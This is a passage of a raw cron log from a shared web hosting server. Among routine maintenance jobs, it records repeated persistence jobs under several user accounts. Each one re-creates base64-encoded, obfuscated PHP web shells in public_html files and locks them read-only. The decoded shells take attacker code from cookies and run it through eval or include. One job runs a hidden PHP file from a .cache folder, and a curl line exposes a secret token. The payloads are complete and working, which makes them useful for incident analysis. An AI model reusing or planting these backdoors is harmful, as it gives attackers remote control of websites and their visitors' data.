Ck7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:23:02 medusa CROND[27605]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:24:01 medusa CROND[17629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:24:02 medusa CROND[17680]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:24:02 medusa CROND[17681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:24:02 medusa CROND[17682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:24:02 medusa CROND[17684]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:24:02 medusa CROND[17692]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:24:02 medusa CROND[17694]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:24:02 medusa CROND[17695]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:24:02 medusa CROND[17697]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:24:02 medusa CROND[17699]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:24:02 medusa CROND[17701]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:24:02 medusa CROND[17703]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:24:02 medusa CROND[17706]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:25:01 medusa CROND[8393]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:25:01 medusa CROND[8394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:25:01 medusa CROND[8395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:25:01 medusa CROND[8398]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:25:01 medusa CROND[8399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:25:01 medusa CROND[8400]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:25:01 medusa CROND[8407]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:25:01 medusa CROND[8410]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:25:01 medusa CROND[8414]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:25:01 medusa CROND[8415]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:25:01 medusa CROND[8416]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:25:01 medusa CROND[8412]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:25:01 medusa CROND[8420]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:25:01 medusa CROND[8421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:25:01 medusa CROND[8422]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:25:01 medusa CROND[8408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:25:01 medusa CROND[8426]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:25:01 medusa CROND[8425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:25:01 medusa CROND[8428]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:25:01 medusa CROND[8429]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:25:01 medusa CROND[8432]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:25:01 medusa CROND[8433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:26:01 medusa CROND[30925]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
